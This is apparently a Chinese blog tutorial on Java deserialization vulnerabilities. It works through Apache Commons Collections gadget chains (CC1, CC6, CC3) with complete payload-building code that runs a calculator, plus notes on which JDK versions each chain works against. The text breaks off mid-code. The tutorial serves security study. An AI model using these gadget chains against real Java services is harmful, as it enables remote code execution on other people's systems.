写在开头:

https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html oracle中国官网这个对应版本有问题,所以复现的时候,多了一些不必要的小插曲,所以下载应该到其他网站,例如:https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html

image-20240625143803746

java原生序列化与反序列化

在Java中,想要让一个类能够序列化,需要让该类实现java.io.Serializable接口。这个接口是一个标记接口(marker interface),即它没有定义任何方法,类实现这个接口只是表示它可以被序列化。

写一个简单的序列化和反序列化的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// Person.java
import java.io.Serializable;

public class Person implements Serializable {
private static final long serialVersionUID = 1L; // 推荐加上这个字段,定义类的版本号

private String name;
private int age;

// 构造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}

// Getter 和 Setter 方法
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SerializationExample.java
import java.io.*;

public class SerializationExample {
public static void main(String[] args) {
Person person = new Person("John Doe", 30);

// 序列化
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.ser"))) {
oos.writeObject(person);
System.out.println("序列化成功:" + person);
} catch (IOException e) {
e.printStackTrace();
}

// 反序列化
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person.ser"))) {
Person deserializedPerson = (Person) ois.readObject();
System.out.println("反序列化成功:" + deserializedPerson);
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}

image-20240618194143231

按照一定规则将实例化的Person对象转换为字符串保存在person.ser文件中,这个过程叫做序列化。序列化其实就是将对象转换为字符串。而将person.ser文件内容转换为对象的过程叫做反序列化。序列化与反序列化其实就是为了传输对象,如果两台通过网络连接的电脑,前提是每台电脑中都有Person.java且版本一致,则可以通过传输序列化之后的文件,在自己电脑中将对象反序列化出来。

如果Person类中存在不可序列化的属性则会报错,定义一个Pet类不去实现Serializable接口,writing aborted; java.io.NotSerializableException: cn.luc1fer.Pet

image-20240618194506006

null代替可以序列化,但是之后不可以访问pet的属性,否则会报错。

image-20240618195227060

在java中一些基础的数据类型是默认实现了Serializable接口,如果不想将类的某些属性序列化可以添加关键字transient修饰,private transient Pet pet,这样在序列化的时候不会将pet的值序列化。

image-20240618204743693

readObject & writeObject

writeObject是序列化的时候会自动调用的魔术方法,readObject是反序列化自动会调用的魔术方法,在要序列化的对象中可以重写该方法实现自定义反序列化内容,例如在上面的Person类中添加如下代码

1
2
3
4
5
6
7
8
9
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Person 反序列化...");
ois.defaultReadObject();
}

private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("Person 序列化...");
oos.defaultWriteObject();
}

结果如下:

image-20240618210553587

如果反序列化时类的属性也实现了自己的readObject,则会调用属性的readObject去反序列化属性内容,前提是该属性没有被transient修饰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package cn.luc1fer;
import java.io.*;

public class Person implements Serializable {
private static final long serialVersionUID = 1L; // 推荐加上这个字段,定义类的版本号

private String name;
private int age;

private Pet pet;


public Pet getPet() {
return pet;
}

public void setPet(Pet pet) {
this.pet = pet;
}

// 构造方法
public Person(String name, int age,Pet pet) {
this.name = name;
this.age = age;
this.pet = pet;
}

// Getter 和 Setter 方法
public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "Person{name='" + name + "', age=" + age +"}";
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Person 反序列化开始");
ois.defaultReadObject();
System.out.println("Person 反序列化结束");
}

private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("Person 序列化...");
oos.defaultWriteObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person("lucifer", 22, new Pet("pet"));
File file = new File("person.bin");
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
oos.writeObject(person);
// File file = new File("person.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
objectInputStream.readObject();

}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package cn.luc1fer;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Pet implements Serializable {
private String name;

public Pet(String name) {
this.name = name;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("pet 反序列化开始");
ois.defaultReadObject();
System.out.println("pet 反序列化结束");
}

@Override
public String toString() {
return "Pet{" +
"name='" + name + '\'' +
'}';
}
}

运行结果:

image-20240624145041473

反序列化漏洞

简单地讲,反序列化漏洞就是在反序列化的时候,用户恶意构造反序列化内容,导致恶意行为的执行。举个例子,还是在Person类中重写readObject与writeObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Person 反序列化...");
String cmd = ois.readUTF();
if (!cmd.isEmpty()){
Runtime.getRuntime().exec(cmd);
}
ois.defaultReadObject();
}

private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("Person 序列化...");
oos.writeUTF(this.name);
oos.defaultWriteObject();
}

只需要构造person的name属性为任意cmd命令即可执行,当然这只是个例子,正常情况下应该没有人会这么写。

image-20240618211430565

真正的反序列化漏洞调用链是特别长的,都是经过特殊构造让代码走入对应的逻辑,最终达到命令执行或者其他目的,所以同一个反序列化漏洞可能会有多种链来达到同样的效果。

CommonsCollections1

反序列化漏洞要想有危害,首先需要找到执行了危险操作的方法,然后再看在哪个重写的readObject方法里会调用到这个危险方法中。

CommonsCollections中有一个Transformer接口,这个接口只定义了一个方法transform()

1
2
3
public interface Transformer {
Object transform(Object var1);
}

CommonsCollections对应的危险方法为InvokerTransformer.transform()InvokerTransformerTransformer的一个实现类,在该方法中可以用反射调用任意方法。

image-20240619212012969

简单测试一下:

1
2
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

image-20240619213039943

InvokerTransformer有危险操作方法transform,接下来就是找那个地方调用了transform方法,在commonscollections中还有一个类是TransformedMap,在TransformedMap类中有一个put()会调用transformKey(),只要属性keyTransformer不为null,就可以调用keytransformer.transform()方法。

image-20240619215132916

这里注意TransformedMap的有参构造是protected无法在外部调用,当然可以用反射,但是注意decorate方法可以直接返回一个TransformedMap

image-20240619215936564

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package cn.luc1fer;


import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) {
// 测试InvokerTransformer
Runtime runtime = Runtime.getRuntime();
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
HashMap<Object, Object> hashMap = new HashMap<>();
Map map = TransformedMap.decorate(hashMap, new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), null);
map.put(runtime,null);
}
}

image-20240619220010068

到了这里其实一直有一个问题没有解决,正常哪会有map.put(runtime,null)这种操作,所以需要想办法在put正常值的时候触发,继续找Transformer其他实现类。最后找到了ChainedTransformer

image-20240620150338384

ChainedTransformer中的transform方法中循环调用了属性transfomers数组中的transformer.transform()而且将上一次的结果作为参数传入下一个transformer.transform()中。我们是不是可以通过Runtime.class作为object出入然后调用InvokerTransformer调用class对象的getMethod的方法获取到getRuntime,调用之后获取到getRuntime Method,然后作为参数出入下一个InvokerTransformer,在这个transform中调用invoke获取到runtime实例,下一个transform调用exec方法即可。

第一个Runtime.class如何获取呢?ConstantTransformer中的transform()不管参数是什么都只会返回自身的iConstant,初始化的时候把Runtime.class传入即可。

image-20240620154524310

后半段的调用链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
HashMap<Object, Object> hashMap = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map map = TransformedMap.decorate(hashMap, chainedTransformer,null);
map.put("luc1fer",null);
}
}

image-20240620160901894

直接通过反射获取Runtime.currentRuntime不行吗?不行,因为currentRuntime是private,所以还需要调用setAccessible(true),但是这个方法返回值为void,这样链就会断掉。

但是,这样是不行的,因为Runtime是不可序列化的,所以只能通过反射去调用。

后半段的链先探索到这里,现在需要到一个重写了readObject()的类,且在这个类中调用了map.put(),这里除了map.put()还有一个方法checkSetValue()会调用valueTransformer.transform() 如果能找到在readObject()中调用了map.put是可以触发的,下面介绍的是用setValue触发的链,为什么没有map.put?因为没找到。

image-20240620191715531

下面的代码是通过Map.Entry.setValue触发transform方法的,因为在setValue方法内会调用checkSetValue方法

image-20240620193422733

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("luc1fer","test");
ChainedTransformer chainedTransformer1 = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map map = TransformedMap.decorate(hashMap, null,chainedTransformer1);
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next();
entry.setValue("test");
}
}

image-20240620193452196

sun.reflect.annotation.AnnotationInvocationHandler中的readObject刚好调用了setValue

image-20240620195714275

这里还需要注意一个点,在AnnotationInvocationHandler的构造方法中,第一个参数必须是注解类型,例如RetentionTarget,而且这些注解里必须定义了方法,因为有一个判断var7 != nullvar6是传入字典的key,var3就是Retention中定义的方法,因为这里方法的名字是value,所以必须要让var6value

image-20240620213906393

具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package cn.luc1fer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
//序列化
// HashMap<Object, Object> hashMap = new HashMap<>();
// hashMap.put("value","luc1fer");
// ChainedTransformer chainedTransformer1 = new ChainedTransformer(new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
// });
// Map map = TransformedMap.decorate(hashMap, null,chainedTransformer1);
// Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
// declaredConstructor.setAccessible(true);
// File file = new File("ser.bin");
// FileOutputStream fileOutputStream = new FileOutputStream(file);
// ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
// oos.writeObject(declaredConstructor.newInstance(Retention.class,map));


//反序列化
FileInputStream fileInputStream = new FileInputStream(new File("ser.bin"));
ObjectInputStream ois = new ObjectInputStream(fileInputStream);
ois.readObject();
}
}

image-20240620214227703

CC1链在JDK-8U71之前应该都是可以的,我只测试了8u60、8u65、7u80

image-20240621151243824

之后我随便下载了一个高一点的版本:8u111,在JDK-8u111中,setValue不会再被调用,而是直接赋值,这样就避免了调用transform方法,导致反序列化漏洞无法触发。

image-20240621151618901

cc1链TransformedMap流程图

java动态代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package cn.luc1fer;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class MyInvocationHandler implements InvocationHandler {
private Object target;

public MyInvocationHandler(Object target) {
this.target = target;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("动态代理的invoke代理方法:"+method.getName()+"!");
Object result = method.invoke(target, args);
System.out.println("动态代理的invoke执行"+method.getName()+"完毕");
return result;
}

public static void main(String[] args) {
PrintString printString = new PrintString();
Printer printStringProxy = (Printer) Proxy.newProxyInstance(PrintString.class.getClassLoader(), PrintString.class.getInterfaces(), new MyInvocationHandler(printString));
System.out.println(printStringProxy.print("lucifer", "test"));
}

}
interface Printer {
String print(String str1, String str2);
}
class PrintString implements Printer{
public String print(String str1,String str2){
System.out.println("执行print方法!");
return str1+str2;
}
}

在Java动态代理中,代理类是通过委托机制来调用目标对象的方法的。你在创建代理对象时,通过Proxy.newProxyInstance方法传递了一个目标对象,以及一个实现了InvocationHandler接口的处理器(在你的例子中是MyInvocationHandler实例)。这个处理器持有目标对象,并在invoke方法中使用反射调用目标对象的方法。

在上面的例子中,Proxy.newProxyInstance会返回一个代理对象,MyInvocationHandler实现了InvocationHandler接口,需要重写invoke方法,执行这个print之前会先执行MyInvocationHandler.invoke的方法。

具体执行结果如下:

image-20240623194948773

LazyMap

commonscollections中还有一个类LazyMap中有一个get方法,在此方法中也会调用transformLazyMap.decorate也是LazyMap的构造方法。

image-20240622152649587

factory也可以是Transformer类型

image-20240623194050948

然而在AnnotationInvocationHandler中的invoke方法中会调用到get方法。

image-20240622153036281

所以只要创建包含恶意ChainedTransformer的LazyMap的Proxy对象,赋值给AnnotationInvocationHandler.memberValues然后反序列化,在AnnotationInvocationHandler.readObject中只要执行this.memberValues的任意方法都会先执行invoke从而触发漏洞

image-20240623194526501

下面是LazyMap调用链的具体流程图。

Lazymap

攻击构造(在8u65中测试成功):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMapLuc1fer {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("lucifer","moody");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Class<?> invocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> handlerConstructor = invocationHandler.getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
InvocationHandler handler = (InvocationHandler) handlerConstructor.newInstance(Retention.class, lazyMap);
Map map = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
Object o = handlerConstructor.newInstance(Retention.class, map);

//序列化
File file = new File("cc1lazymap.bin");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(o);


//反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
ois.readObject();

}
}

image-20240625143315959

高版本(测试的是8u111)下的问题:

1
2
3
4
LinkedHashMap var7 = new LinkedHashMap();
...
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);

这里的var7是新创建的linkedHashMap对象,不会将lazymap赋值给MemberValues了,所以在高版本下该链会存在问题。

这里可能难以理解,AnnotationInvocationHandler.readObject并不是调用了一次而是多次,结合上面的PersonPet的例子更好理解。

CommonsCollections6

cc6的调用链解决了上面CC1高版本下的问题,首先给出调用链的流程图:

CC6调用链流程图

org.apache.commons.collections.map.HashedMapjava.util.HashMap中的readObject都可以触发hash()

这里说点不一样的:下面攻击构造的代码中有一行lazyMap.clear();,这行代码至关重要。在LazyMap.get()方法中想要执行transform()必须保证map中不包含key,而且**在调用完get方法之后会将put(key,value)**。

image-20240624141611053

所以在攻击构造中,执行hashedMap.put(tiedMapEntry,"luc1fer");时也会执行hash(key),之后就会调用this.map.put()

image-20240624143709494

如果不加lazyMap.clear()就会报错,因为transform()返回的结果是ProcessImpl对象,之后会将key和ProcessImpl对象添加到lazymap中,ProcessImpl对象是不可序列化的,所以会报错。即使这里ProcessImpl是可以序列化的,攻击也不会成功,因为lazymap中已经包含了那个key,所以lazymap.clear()会清空map中的值。

image-20240624143823163

下面的攻击构造也会在本地触发,如果不想在本地触发可以在一切准备就绪之后,通过反射将chainedTransformer赋值给lazymapfactory.

攻击构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// HashMap<Object, Object> hashMap1 = new HashMap<>();
HashedMap hashedMap = new HashedMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "luc1fer");
// hashMap1.put(tiedMapEntry,"luc1fer");
hashedMap.put(tiedMapEntry,"luc1fer");
lazyMap.clear();
// 序列化
File file = new File("cc6.bin");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
// oos.writeObject(hashMap1);
oos.writeObject(hashedMap);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
ois.readObject();

}
}

在我较高的版本8u371中测试成功

image-20240625144943778

CommonsCollections3

CC3其实是通过defineClass()直接加载类属性byte数组,导致执行任意代码。defineClass是protected方法,无法直接调用,但是TemplatesImpl.TransletClassLoader继承自ClassLoader并调用了该方法。

CC3

字节码加载

URLClassLoader

首先测试一下URLClassLoader,URLClassLoader可以动态加载类,在运行时从指定的 URL 加载类,而不是在编译时确定类路径。在创建 URLClassLoader 实例时,需要提供一个 URL 数组作为参数。这个数组指定了类和资源的搜索路径。每个 URL 可以指向一个 JAR 文件、一个目录或一个远程位置。URL 数组URL[] urls 是一个 URL 数组,每个 URL 指定一个类或资源的搜索路径。可以是本地文件系统路径(以 file: 开头)或远程路径(如 http:)。创建 URLClassLoader 实例URLClassLoader urlClassLoader = new URLClassLoader(urls); 使用指定的 URL 数组创建一个 URLClassLoader 实例。加载类Class<?> loadedClass = urlClassLoader.loadClass("com.example.YourClass"); 使用 URLClassLoader 加载指定的类。

image-20240625155940448

通过defineClass加载字节码文件

类加载器加载字节码的流程:

  1. **loadClass**:类加载的入口方法,遵循双亲委派模型,首先尝试让父类加载器加载类。
  2. **findClass**:如果父类加载器无法加载类,loadClass 方法会调用自身的 findClass 方法来查找和加载类的字节码。
  3. **defineClass**:findClass 方法读取字节码文件并将其转换为字节数组后,调用 defineClass 方法将字节数组转换为 Class 对象。

下面的例子成功执行Hello类的构造函数。

image-20240625164800842

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax包下的TemplatesImpl类中有一个内部类TransletClassLoader,该类中有defineClass()

image-20240625165102239

然后找相关的调用链:

TemplatesImpl.newTransformer()–>TemplatesImpl.getTransletInstance()–>TemplatesImpl.defineTransletClasses–>TemplatesImpl.TransletClassLoader.defineClass()

写代码测试一下这个链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
// CC3.java
package cn.luc1fer;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;

public class CC3 {
private void TestUrlClassLoader() throws InstantiationException, IllegalAccessException, MalformedURLException, ClassNotFoundException {
URL[] urls = new URL[]{new URL("http://localhost:9999/")};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Class<?> hello = urlClassLoader.loadClass("Hello");
hello.newInstance();
}
private void TestDefineClass() throws ClassNotFoundException, NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
File file = new File("Hello.class");
FileInputStream fileInputStream = new FileInputStream(file);
byte[] codes = new byte[(int) file.length()];

fileInputStream.read(codes);
fileInputStream.close();

Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", codes, 0, codes.length);
hello.newInstance();
}

public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {
// new CC3().TestUrlClassLoader();
// new CC3().TestDefineClass();

TemplatesImpl templates = new TemplatesImpl();
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"luc1fer");
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

File file = new File("Hello.class");
FileInputStream fileInputStream = new FileInputStream(file);
byte[] codes = new byte[(int) file.length()];
fileInputStream.read(codes);
fileInputStream.close();
bytecodesField.set(templates,new byte[][]{codes});

TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);

templates.newTransformer();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Hello.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

// 可以写在构造方法里,也可以写在静态代码块里
public class Hello extends AbstractTranslet {
public Hello() throws IOException {
Runtime.getRuntime().exec("calc");
System.out.println("Hello.class");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

测试下半条链可能会遇到的问题:

Hello类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet否则会报错java.lang.NullPointerException

image-20240626154152178

TemplatesImpl的属性_name不能为空、_class为空才可以执行到defineTransletClasses

image-20240626155427461

_tfactory必须不为null,否则也会报错java.lang.NullPointerException.

image-20240626155553476

这一部分可以走通,所以现在需要接上之前的CC1链或者CC6链的前半部分,构造一个ChainedTransformer,用ConstantTransformer返回构造好的TemplatesImpl对象,之后用InvokerTransformer执行newTransformer方法就好了。

image-20240626154337288

最终的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package cn.luc1fer;

import java.lang.annotation.Retention;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.lang.reflect.*;

import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
private void TestUrlClassLoader() throws InstantiationException, IllegalAccessException, MalformedURLException, ClassNotFoundException {
URL[] urls = new URL[]{new URL("http://localhost:9999/")};
URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
Class<?> hello = urlClassLoader.loadClass("Hello");
hello.newInstance();
}
private void TestDefineClass() throws ClassNotFoundException, NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
File file = new File("Hello.class");
FileInputStream fileInputStream = new FileInputStream(file);
byte[] codes = new byte[(int) file.length()];

fileInputStream.read(codes);
fileInputStream.close();

Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", codes, 0, codes.length);
hello.newInstance();
}

public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {
// new CC3().TestUrlClassLoader();
// new CC3().TestDefineClass();

TemplatesImpl templates = new TemplatesImpl();
Field nameField = TemplatesImpl.class.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"luc1fer");

Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

File evilClassFile = new File("Hello_calc.class");
FileInputStream fileInputStream = new FileInputStream(evilClassFile);
byte[] codes = new byte[(int) evilClassFile.length()];
fileInputStream.read(codes);
fileInputStream.close();
bytecodesField.set(templates,new byte[][]{codes});

TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);

// templates.newTransformer();

ChainedTransformer chainedTransformer = new ChainedTransformer(new org.apache.commons.collections.Transformer[]{
new ConstantTransformer(templates),
